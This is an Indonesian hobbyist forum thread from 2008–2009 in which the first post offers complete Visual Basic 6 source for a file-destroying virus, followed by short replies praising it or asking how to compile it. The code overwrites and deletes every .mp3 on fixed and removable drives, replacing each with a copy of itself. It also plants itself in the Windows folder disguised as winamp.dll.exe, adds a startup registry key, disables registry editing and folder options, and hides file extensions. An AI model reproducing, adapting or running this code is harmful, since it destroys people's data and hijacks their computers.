Mr.C Hikari Newbie
Jumlah posting : 19 Reputation : 0 Join date : 2008-06-01
| Subject: Bikin virus yukkk Wed Jul 30, 2008 3:17 am | |
| jalankan visual basic 6 anda.. buat 1 module dan paste-kan code dibawah ini... - Code:
-
Option Explicit
'buat nyari drive Private Declare Function GetDriveType Lib "kernel32" _ Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private sDrives() As String
'buat nyari file Private Const FILE_ATTRIBUTE_READONLY = &H1 Private Const FILE_ATTRIBUTE_HIDDEN = &H2 Private Const FILE_ATTRIBUTE_SYSTEM = &H4 Private Const FILE_ATTRIBUTE_DIRECTORY = &H10 Private Const FILE_ATTRIBUTE_ARCHIVE = &H20 Private Const FILE_ATTRIBUTE_NORMAL = &H80 Private Const FILE_ATTRIBUTE_TEMPORARY = &H100 Private Const FILE_ATTRIBUTE_COMPRESSED = &H800 Private Const MAX_PATH = 260
Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type
Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _ (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _ (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private pbMessage As Boolean
'Deklarasi copy ke windows Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'Deklarasi copy ke windows Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
'Sub PeNangkap Hardisk Sub cari() Dim ictr As Integer
'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then For ictr = 0 To UBound(sDrives) '////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc GetFiles sDrives(ictr), True, "*.mp3" Next 'Else '////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc ' frmMain.GetFiles cboDrives.Text, True, "*.doc" 'End If
' frmMain.Visible = True
End Sub
Sub hardisk() Dim ictr As Integer Dim iDriveCount As Integer Dim sAllDrives As String Dim sDrive As String ReDim sDrives(0) As String
For ictr = 66 To 90 sDrive = Chr(ictr) & ":\" If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then If sAllDrives <> "" Then sAllDrives = sAllDrives & ", " sAllDrives = sAllDrives & sDrive iDriveCount = iDriveCount + 1 End If Next
'If iDriveCount > 1 Then ' sAllDrives = "All Hard Drives (" & sAllDrives & ")" ' cboDrives.AddItem sAllDrives 'End If
'cboDrives.ListIndex = 0 'EnableSearch
End Sub
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
'fix bad parameter values If Len(Drive) = 1 Then Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\"
lAns = GetDriveType(Drive) Select Case lAns Case 2 sAns = "Removable Drive" Case 3 sAns = "Fixed Drive" Case 4 sAns = "Remote Drive" Case 5 sAns = "CD-ROM" Case 6 sAns = "RAM Disk" Case Else sAns = "Drive Doesn't Exist" End Select
DriveType = sAns
End Function '//////////////////////////////////////////////////////////////////////
'//////////////////////////////Sub perangkap File///////////////////// Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
'Screen.MousePointer = vbHourglass
'Dim li As ListItem Dim WFD As WIN32_FIND_DATA Dim hFile As Long, fPath As String, fName As String Dim bawa As Long
fPath = AddBackslash(Path)
Dim sPattern As String sPattern = Pattern fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
On Error Resume Next '///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan///// If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then 'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName)) 'MsgBox fPath & StripNulls(WFD.cFileName) '//////mengeset atribut file .doc menjadi atribut archive atau biasa bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0) FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe" DeleteFile fPath & StripNulls(WFD.cFileName) End If
If hFile > 0 Then While FindNextFile(hFile, WFD) '///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan///// If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then 'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName)) 'MsgBox fPath & StripNulls(WFD.cFileName) '//////mengeset atribut file .doc menjadi atribut archive atau biasa bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0) FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe" DeleteFile fPath & StripNulls(WFD.cFileName) End If Wend End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD) If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _ StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If
While FindNextFile(hFile, WFD) If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _ StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If Wend
End If FindClose hFile 'Set li = Nothing
'Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1) End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then If Right$(S, 1) <> "\" Then AddBackslash = S & "\" Else AddBackslash = S End If Else AddBackslash = "\" End If End Function
'////////////////////////////////////////////////////////////////////
Private Sub kopikewindows() ''////mengkopi file virus atau penanda ke directory windows Dim buffer As String * 255 Dim x As Long
x = GetWindowsDirectory(buffer, 255) On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\winamp.dll.exe" End Sub
'//////////////////Kode Pertahanan//////// Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object On Error Resume Next Set b = CreateObject("wscript.shell") b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object On Error Resume Next Set b = CreateObject("wscript.shell") b.RegWrite Folder, Value, "REG_DWORD"
End Sub '/////////////////////////////////////////
'//////////////////MAIN/////////////////// Sub Main() Dim titik As String titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _ titik & "c:\windows\winamp.dll.exe" & titik CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1 CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1 CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1" CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1 CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1" CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1 CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!" CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "YOUR COMPUTER HAS BEEN INFECTED BY Mr.C VIRUS!!!" Shell "taskkill /f /im winamp.exe", vbHide hardisk cari kopikewindows End Sub '/////////////////////////////////////////
thx to: echonono | |
|
ea_ngel Hikari Master
Jumlah posting : 657 Reputation : 2 Join date : 2008-04-18
Status Race: Undead Class: Magician
| Subject: Re: Bikin virus yukkk Tue Aug 19, 2008 12:14 pm | |
| kayaknya ni virus klo da di compile, pasti da kenal ama antivirusnya ya,,
Btw, thanks Mr.C atas partisipasinya
Last edited by EA Ngel on Tue Aug 19, 2008 9:43 pm; edited 1 time in total | |
|
M364TR0N Hikari Addict
Jumlah posting : 106 Reputation : 0 Join date : 2008-05-17
| Subject: Re: Bikin virus yukkk Tue Aug 19, 2008 8:58 pm | |
| wedew...kk Mr.C jago bgt ya soal virus.. blh dunk kapanē PM.. hehehehhee.. | |
|
Arek Nekat Hikari Newbie
Jumlah posting : 12 Reputation : 0 Join date : 2008-09-27 Age : 78 Lokasi : Kota JANCOK
| Subject: Re: Bikin virus yukkk Mon Dec 29, 2008 10:31 pm | |
| | |
|
diansari Hikari Old
Jumlah posting : 359 Reputation : 0 Join date : 2008-06-24 Age : 35 Lokasi : _gak ada tempat_
Status Race: Baby Class: Newbie
| Subject: Re: Bikin virus yukkk Tue Feb 17, 2009 7:54 am | |
| bang, nyari visual basicnya dimana makasih | |
|
exnome Hikari Senior
Jumlah posting : 181 Reputation : 0 Join date : 2008-05-14 Age : 38 Lokasi : Belakang Proxy
Status Race: Undead Class: Swordman
| |
Cruz3N Hikari Newbie
Jumlah posting : 4 Reputation : 0 Join date : 2008-08-27
| Subject: Re: Bikin virus yukkk Thu Mar 12, 2009 4:21 am | |
| Keren banget uyyy.. Efeknya apaan Bro? | |
|
jecky Hikari Newbie
Jumlah posting : 11 Reputation : 0 Join date : 2009-02-06
| Subject: Re: Bikin virus yukkk Tue Mar 24, 2009 10:27 am | |
| | |
|
Sponsored content
| Subject: Re: Bikin virus yukkk | |
| |
|